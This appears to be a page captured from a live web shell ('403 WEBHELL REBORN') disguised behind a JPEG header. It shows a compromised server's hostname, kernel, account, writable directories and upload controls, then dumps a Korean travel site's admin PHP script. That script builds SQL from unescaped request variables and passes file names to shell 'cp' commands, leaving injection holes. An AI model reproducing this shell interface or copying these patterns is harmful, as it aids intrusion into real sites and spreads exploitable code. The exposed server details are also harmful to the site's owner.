ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good_en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good_en/good_proc.php
<? 
include "../include/top_proc.html";
include "_common.php";

$table = "good";
$upload = $cf['path']."/FileData/good/"; 
$upload_thum = $cf['path']."/FileData/good_thum/";

// 에디터용 
$g_special			= insert_smart($g_special);
$g_inclusion		= insert_smart($g_inclusion);
$g_noinclusion		= insert_smart($g_noinclusion);
$g_rule				= insert_smart($g_rule);

// 쌍따옴표,홑따옴표 불가 체크
if($SqlType == "good_ins" or $SqlType == "good_edit") {
	if(	isCheckQuot($g_title) == true OR 
		isCheckQuot($g_sch) == true ) 
		error_msg("쌍따옴표,홑따옴표는 사용불가합니다.");
}

if($SqlType == "good_ins") {
	
	if (!$g_title) exit;

	// 업로드
	if($_FILES['g_image1']['name']) {
		//이미지 업로드
		$up_img1 = FileUploadName( "", $upload, $_FILES['g_image1']['tmp_name'], $_FILES['g_image1']['name'] ,"");//파일 업로드
		make_thum($upload.$up_img1,$upload_thum.$up_img1);//이미지썸네일 생성
	}

	// 국가명
	$country_arr = to_area_b("",$Bidx," and DelFlag='N' "); 
	$NationName = $country_arr[0]['NationName']; 

	 // 도시명
	$city_arr = to_area_c("",$Bidx,$Cidx,"N");
	$CityName = $city_arr[0]['CityName'];

	// 상품특징아이콘
	$g_type_str = "";
	for($i=0,$j=1 ; $i<count($g_type_arr) ; $i++,$j++){
		$g_type_str .= $g_type_arr[$i];
		if ($j < count($g_type_arr)) $g_type_str .= ",";
	}

	// 데이투어항목추가(20131029.허종)
	$day_price_nor_adult = str_replace(",","",$day_price_nor_adult);
	$day_price_nor_child = str_replace(",","",$day_price_nor_child);
	$day_price_dc_adult = str_replace(",","",$day_price_dc_adult);
	$day_price_dc_child = str_replace(",","",$day_price_dc_child);

	// 담당자
	if ($admin_id) {
		$mem_data = get_member($admin_id);
		$admin_nm = $mem_data['mb_nm'];
	}

	if(!$gdt) $gdt="gr";

	// 미팅장소,미팅시간
	$g_meeting = "";
	for($a=0 ; $a<count($meeting_place_arr) ; $a++) {
		$meeting_place	= $meeting_place_arr[$a];
		$meeting_hh			= $meeting_hh_arr[$a];
		$meeting_mm			= $meeting_mm_arr[$a];
		if($meeting_place_arr[$a]) {
			$g_meeting .= "||".$meeting_place."^".$meeting_hh."^".$meeting_mm;
		}
	}

	$sql = "insert into ".$table." ( ";
	$sql.=" tab";
	$sql.=" , gdt ";
	$sql.=" , b_uid ";
	$sql.=" , m_uid ";
	$sql.=" , s_uid ";
	$sql.=" , Bidx ";
	$sql.=" , Cidx ";
	$sql.=" , Gidx ";
	$sql.=" , NationName ";
	$sql.=" , CityName ";
	$sql.=" , InfoTitle ";
	$sql.=" , g_title ";
	$sql.=" , g_code ";
	$sql.=" , g_type ";
	$sql.=" , g_sch ";
	#$sql.=" , g_vno ";
	#$sql.=" , g_low ";
	#$sql.=" , g_high ";
	$sql.=" , g_image1 ";
	#$sql.=" , g_image2 ";
	$sql.=" , g_brief ";
	$sql.=" , g_explain ";
	$sql.=" , g_inclusion ";
	$sql.=" , g_noinclusion ";
	$sql.=" , g_special ";
	$sql.=" , g_rule ";
	$sql.=" , g_heed ";
	$sql.=" , g_ready ";
	$sql.=" , g_regdate ";
	$sql.= ", g_meeting ";
	$sql.=" , map_x ";
	$sql.=" , map_y ";
	$sql.=" , movie_i ";
	$sql.=" , admin_id ";
	$sql.=" , admin_nm ";
	$sql.=" , exchange_fg ";
	$sql.=" , exid ";	

	$sql.=" ) values ( ";
	$sql.=" '".$tab."' ";
	$sql.=" ,'".$gdt."' ";
	$sql.=" ,'".$b_uid."' ";
	$sql.=" , '".$m_uid."' ";
	$sql.=" , '".$s_uid."' ";
	$sql.=" , '".$Bidx."' ";
	$sql.=" , '".$Cidx."' ";
	$sql.=" , '".$Gidx."' ";
	$sql.=" , '".$NationName."' ";
	$sql.=" , '".$CityName."' ";
	$sql.=" , '".$InfoTitle."' ";
	$sql.=" , '".$g_title."' ";
	$sql.=" , '".Fnc_GetRes()."' ";
	$sql.=" , '".$g_type_str."' ";
	$sql.=" , '".$g_sch."' ";
	#$sql.=" , '".$g_vno."' ";
	#$sql.=" , '".$g_low."' ";
	#$sql.=" , '".$g_high."' ";
	$sql.=" , '".$up_img1."' ";
	#$sql.=" , '".$ReturnFile2."' ";
	$sql.=" , '".$g_brief."' ";
	$sql.=" , '".$g_explain."' ";
	$sql.=" , '".$g_inclusion."' ";
	$sql.=" , '".$g_noinclusion."' ";
	$sql.=" , '".$g_special."' ";
	$sql.=" , '".$g_rule."' ";
	$sql.=" , '".$g_heed."' ";
	$sql.=" , '".$g_ready."' ";
	$sql.=" , now()  ";
	$sql.=" , '".$g_meeting."' ";
	$sql.=" , '".$map_x."' ";
	$sql.=" , '".$map_y."' ";
	$sql.=" , '".$movie_i."' ";
	$sql.=" , '".$admin_id."' ";
	$sql.=" , '".$admin_nm."' ";
	$sql.=" , '".$exchange_fg."' ";
	$sql.=" , '".$exid."' ";

	$sql.=" ) ";

	db_query($sql);

	error_msg("document.location='index.html?{$_href}'","script");

// 상품노출 변경
}elseif($SqlType == "good_edit"){

	if (!$g_uid) exit;

	// 상품정보
	$arr = good_list(" and g_uid='{$g_uid}' "); 
	$row = $arr[0];
	
	//업로드 파일이 있으면 기존 파일 삭제
	if($_FILES['g_image1']['name']) {
		@unlink($upload.$row['g_image1']);
		@unlink($upload_thum.$row['g_image1']);

		//이미지 업로드
		$up_img1 = @FileUploadName( "", $upload, $_FILES['g_image1']['tmp_name'], $_FILES['g_image1']['name'] ,"");//파일 업로드
		make_thum($upload.$up_img1,$upload_thum.$up_img1);//이미지썸네일 생성
	}

	// 상품특징아이콘
	$g_type_str = "";
	for($i=0,$j=1 ; $i<count($g_type_arr) ; $i++,$j++){
		$g_type_str .= $g_type_arr[$i];
		if ($j < count($g_type_arr)) $g_type_str .= ",";
	}

	// 데이투어항목추가(20131029.허종)
	$day_price_nor_adult = str_replace(",","",$day_price_nor_adult);
	$day_price_nor_child = str_replace(",","",$day_price_nor_child);
	$day_price_dc_adult = str_replace(",","",$day_price_dc_adult);
	$day_price_dc_child = str_replace(",","",$day_price_dc_child);

	// 미팅장소,미팅시간
	$g_meeting = "";
	for($a=0 ; $a<count($meeting_place_arr) ; $a++) {
		$meeting_place	= $meeting_place_arr[$a];
		$meeting_hh			= $meeting_hh_arr[$a];
		$meeting_mm			= $meeting_mm_arr[$a];
		if($meeting_place_arr[$a]) {
			$g_meeting .= "||".$meeting_place."^".$meeting_hh."^".$meeting_mm;
		}
	}

	// 담당자
	if ($admin_id) {
		$mem_data = get_member($admin_id);
		$admin_nm = $mem_data['mb_nm'];
	}

	// 국가명
	$country_arr = to_area_b("",$Bidx," and DelFlag='N' "); 
	$NationName = $country_arr[0]['NationName']; 

	 // 도시명
	$city_arr = to_area_c("",$Bidx,$Cidx,"N");
	$CityName = $city_arr[0]['CityName'];

	$sql= " UPDATE ".$table." SET ";
	$sql.="	 b_uid='".$b_uid."' ";
	$sql.="	,m_uid='".$m_uid."' ";
	$sql.="	,s_uid='".$s_uid."' ";
	$sql.="	,Bidx='".$Bidx."' ";
	$sql.="	,Cidx='".$Cidx."' ";
	$sql.=" ,pseq='".$pseq."' ";
	$sql.=" ,NationName='".$NationName."' ";
	$sql.=" ,CityName='".$CityName."' ";
	$sql.=" ,InfoTitle='".$InfoTitle."' ";
	$sql.=" ,g_title='".$g_title."' ";
	$sql.=" ,g_code='".$g_code."' ";
	$sql.=" ,g_type='".$g_type_str."' ";
	//$sql.=" ,g_vno='".$g_vno."' ";
	$sql.=" ,g_sch='".$g_sch."' ";
	//$sql.=" ,g_low='".$g_low."' ";
	//$sql.=" ,g_high='".$g_high."' ";
	if($up_img1) $sql.=" ,g_image1='".$up_img1."' ";
	//$sql.=" ,g_image2='".$ReturnFile2."' ";
	$sql.=" ,g_brief='".$g_brief."' ";
	$sql.=" ,g_explain='".$g_explain."' ";
	$sql.=" ,g_inclusion='".$g_inclusion."' ";
	$sql.=" ,g_noinclusion='".$g_noinclusion."' ";
	$sql.=" ,g_special='".$g_special."' ";
	$sql.=" ,g_rule='".$g_rule."' ";
	$sql.=" ,g_heed='".$g_heed."' ";
	$sql.=" ,g_ready='".$g_ready."' ";
	$sql.=" ,g_meeting='".$g_meeting."' ";

	$sql.=" ,map_x='".$map_x."' ";
	$sql.=" ,map_y='".$map_y."' ";
	$sql.=" ,movie_i='".$movie_i."' ";

	$sql.=" ,admin_id='".$admin_id."' ";
	$sql.=" ,admin_nm='".$admin_nm."' ";

	$sql.=" ,g_moddate=now() ";
	$sql.=" WHERE g_uid='".$g_uid."' ";

	db_query($sql);

	error_msg("document.location='good_edit.html?tab={$tab}&{$_href}&g_uid={$g_uid}'","script");

// 상품노출 변경
}elseif ($SqlType == "chgdisp") {
	if(!$g_uid) exit;

	$sql = "update {$table} set g_ok='{$g_ok}' where g_uid='{$g_uid}' ";

	db_query($sql);

	$data = good_list(" and g_uid='{$g_uid}' ");
	$row = $data[0];

	echo "<img src=\"{$row[use_img]}\" onClick=\"ajax_obj_loader('good_proc.php?SqlType=chgdisp&g_uid={$row[g_uid]}&g_ok={$row[g_ok_opp]}','disp_yn_{$row[g_uid]}');\" />";
	exit;
//관광(지)정보 순서변경
}else if($SqlType=="change_ordernum"){
	
	for($i=0 ; $i < count($g_uid_arr) ; $i++){
		$sql = "update {$table} set g_no='{$g_no_arr[$i]}' where g_uid='$g_uid_arr[$i]'";
		db_query($sql);
	}

	error_msg("document.location.reload()","script");


}else if($SqlType == "chgrecomm"){
	
	if(!$g_uid)exit;

	$data = good_list(" and g_uid='{$g_uid}' ");
	$row = $data[0];

	// 현상태에서 반대로 만들기
	$gmain_opp = "";
	if($row[$gmain] != "1") $gmain_opp = 1;
	
	$sql = "update {$table} set {$gmain} = '{$gmain_opp}' where g_uid='{$g_uid}' ";
	
	db_query($sql);

	exit;

//호텔이미지 수정
}else if($SqlType=="gallery_edit"){
	if(!is_array($chkall))exit;
	
	for($i=0 ; $i<count($chkall) ; $i++){
		$iDX = $chkall[$i];
		$ImgMemo = ${"ImgMemo_".$chkall[$i]};
		$ImgType = ${"ImgType_".$chkall[$i]};
		$OrderNum = intval(${"ordernum_".$chkall[$i]});
			
		$sql = "update TB_GoodImg set ImgType='{$ImgType}', ImgMemo='{$ImgMemo}',OrderNum='{$OrderNum}' where iDX='{$iDX}'";
		
		db_query($sql);
	}

	error_msg("document.location.reload()","script");

	// 갤러리 이미지 삭제
}elseif($SqlType=="gallery_delete"){
	if(!is_array($chkall))exit;
	$upload = "../../FileData/good_img/";
	$upload_thum = "../../FileData/good_img_thum/";

	for($i=0 ; $i<count($chkall) ; $i++){
		$iDX = $chkall[$i];
		$img = ${"img_".$chkall[$i]};
		
		//해당이미지삭제
		@unlink($upload.$img);
		@unlink($upload_thum.$img);

		$sql = "delete from TB_GoodImg where iDX='{$iDX}'";
		db_query($sql);
	}
	error_msg("document.location.reload()","script");

// 상품 삭제
}elseif($SqlType=="delete_good"){
	
	if(!$g_uid) exit;

	$upload = "../../FileData/good_img/";
	$upload_thum = "../../FileData/good_img_thum/";

	// 출발일(date) 
	$sql = "delete from date where g_uid='{$g_uid}' ";
	db_query($sql);

	// 선택호텔(TB_SelHotel) 
	$sql = "delete from TB_SelHotel where g_uid='{$g_uid}' ";
	db_query($sql);

	// 기본 일정표(TB_Schedule)
	$sql = "delete from TB_Schedule where g_uid='{$g_uid}' ";
	db_query($sql);

	// 선택여행정보(TB_SelInfo)
	$sql = "delete from TB_SelInfo where g_uid='{$g_uid}' ";
	db_query($sql);


	// 갤러리(TB_GoodImg) and 이미지
	$gallery_arr = TO_get_good_photo($g_uid);
	for($i=0 ; $i<count($gallery_arr) ; $i++){
		$arr = $gallery_arr[$i];
		@unlink($upload.$arr['ImgTitle']); // 이미지 삭제
		@unlink($upload_thum.$arr['ImgTitle']); // 썸네일이미지 삭제
	}
	$sql = "delete from TB_GoodImg where Gidx='{$g_uid}' ";
	db_query($sql);

	// 상품(good) and 이미지
	$img_arr = db_fetch("select g_image1 from good where g_uid='{$g_uid}' ");
	@unlink($upload.$img_arr['g_image1']); // 이미지 삭제
	$sql = "delete from good where g_uid='{$g_uid}' ";
	db_query($sql);

	error_msg("document.location.reload()","script");
}

// 상품카피
elseif($SqlType=="good_copy") {
	if(!$b_uid or !$g_uid) exit;

	// 상품정보 복사
	$arr = good_list(" and g_uid='{$g_uid}' ");
	$row = $arr[0];

	// 대표 이미지 복사(2016.07.19)
	$new_fn = "";
	if($row['g_image1']) {
		// 이미지명 새로생성
		$new_fn = getUniqueFileName($row['g_image1']);
	
		// 이전이미지
		$orig_path = $upload.$row['g_image1'];
		$orig_path_thum = $upload_thum.$row['g_image1'];
	
		// 새이미지
		$new_path = $upload.$new_fn;
		$new_path_thum = $upload_thum.$new_fn;
	
		@exec("cp -p {$orig_path} {$new_path}");
		@exec("cp -p {$orig_path_thum} {$new_path_thum}");
	}	
	
	$gdt = ($row['gdt']) ? $row['gdt']:"gr";
	
	$sql= " insert into ".$table." set ";
	$sql.=" tab='".$tab."' ";
	$sql.="   ,gdt='".$row['gdt']."' ";
	$sql.="	,b_uid='".$b_uid."' ";
	$sql.="	,m_uid='".$m_uid."' ";
	$sql.="	,s_uid='".$s_uid."' ";
	$sql.="	,Bidx='".$row['Bidx']."' ";
	$sql.="	,Cidx='".$row['Cidx']."' ";
	$sql.=" ,pseq='".$row['pseq']."' ";
	$sql.=" ,NationName='".$row['NationName']."' ";
	$sql.=" ,CityName='".$row['CityName']."' ";
	$sql.=" ,InfoTitle='".$row['InfoTitle']."' ";
	$sql.=" ,g_title='".$row['g_title']."' ";
	$sql.=" ,g_code='".Fnc_GetRes()."' ";
	//$sql.=" ,g_type='".$row['g_type']."' ";
	$sql.=" ,g_sch='".$row['g_sch']."' ";
	//$sql.=" ,g_image1='".$row['g_image1']."' ";
	$sql.=" ,g_image1='{$new_fn}'"; // - 원본과 정보를 공유해서 복사하지 않기로 설정함.
	$sql.=" ,g_brief='".str_replace("'","&#39",$row['g_brief'])."' ";
	$sql.=" ,g_explain='".str_replace("'","&#39",$row['g_explain'])."' ";
	$sql.=" ,g_inclusion='".str_replace("'","&#39",$row['g_inclusion'])."' ";
	$sql.=" ,g_noinclusion='".str_replace("'","&#39",$row['g_noinclusion'])."' ";
	$sql.=" ,g_special='".str_replace("'","&#39",$row['g_special'])."' ";
	$sql.=" ,g_rule='".str_replace("'","&#39",$row['g_rule'])."' ";
	$sql.=" ,g_heed='".str_replace("'","&#39",$row['g_heed'])."' ";
	$sql.=" ,g_ready='".str_replace("'","&#39",$row['g_ready'])."' ";
	$sql.=" ,map_x='".$row['map_x']."' ";
	$sql.=" ,map_y='".$row['map_y']."' ";
	$sql.=" ,admin_id='".$row['admin_id']."' ";
	$sql.=" ,admin_nm='".$row['admin_nm']."' ";
	
	$sql.=" ,exchange_fg='".$row['exchange_fg']."' ";
	$sql.=" ,exid='".$row['exid']."' ";
	
	$sql.=" ,g_regdate=now() ";

	db_query($sql);

	$gid = db_insert_id();

	// 여행정보 복사
	$arr = TO_get_info($g_uid);
	for ($i=0 ; $i<count($arr) ; $i++) {
		$row = $arr[$i];
		$sql = "insert into TB_SelInfo set ";
		$sql .= "g_uid='{$gid}' ";
		$sql .= ",Bidx='".$row['Bidx']."'";
		$sql .= ",Cidx='".$row['Cidx']."'";
		$sql .= ",Gidx='".$row['Gidx']."'";
		$sql .= ",pseq='".$row['pseq']."'";
		$sql .= ",Tpe='".$row['Tpe']."'";
		$sql .= ",InfoTitle='".$row['InfoTitle']."'";
		$sql .= ",SortType='".$row['SortType']."'";
		$sql .= ",RegDate=now()";

		db_query($sql);
	}
	

	// 호텔정보 복사
	$arr = TO_get_hotel($g_uid);
	for ($i=0 ; $i<count($arr) ; $i++) {
		$row = $arr[$i];
		$sql = "insert into TB_SelHotel set ";
		$sql .= "g_uid='{$gid}' ";
		$sql .= ",Bidx='".$row['Bidx']."'";
		$sql .= ",Cidx='".$row['Cidx']."'";
		$sql .= ",hseq='".$row['hseq']."'";
		$sql .= ",HGoods_Code='".$row['HGoods_Code']."'";
		$sql .= ",RegDate=now()";

		db_query($sql);
	}

	// 갤러리 카피
	$data_gallery=TO_get_good_photo($g_uid);
	
	if(is_array($data_gallery)){ foreach($data_gallery as $v) {
		$img=$v['img'];
	
		// 이미지명 새로생성
		$new_fn = getUniqueFileName($img);
	
		// 이전이미지
		$orig_path = $upload.$img;
		$orig_path_thum = $upload_thum.$img;
	
		// 새이미지
		$new_path = $upload.$new_fn;
		$new_path_thum = $upload_thum.$new_fn;
	
		@exec("cp -p {$orig_path} {$new_path}");
		@exec("cp -p {$orig_path_thum} {$new_path_thum}");
	
		$sql="insert into TB_GoodImg set Gidx='{$new_seq}',ImgType='{$v[ImgType]}',ImgTitle='{$new_fn}',ImgMemo='{$v[ImgMemo]}',RegDate=now()";
	
		db_query($sql);
	}}	

	error_msg("document.location.reload()","script");
}//구글맵수정
 elseif($SqlType=="good_map_edit"){
	if(!$g_uid or !$map_x or !$map_y) exit;

	$sql = "update {$table} set map_x='{$map_x}' , map_y='{$map_y}' where g_uid='{$g_uid}' ";

	db_query($sql);

	error_msg("document.location.reload();","script");
}

// 사용수정
elseif($SqlType=="g_ok_updt"){
	if(!$g_ok) exit;
	
	for($i=0 ; $i<count($guid_arr) ; $i++){
		$g_uid = $guid_arr[$i];
		
		if($g_uid){
			db_query("update {$table} set g_ok='{$g_ok}' where g_uid='{$g_uid}' ");
		}
	}
	
	error_msg("document.location.reload();","script");
}

?>

Anon7 - 2021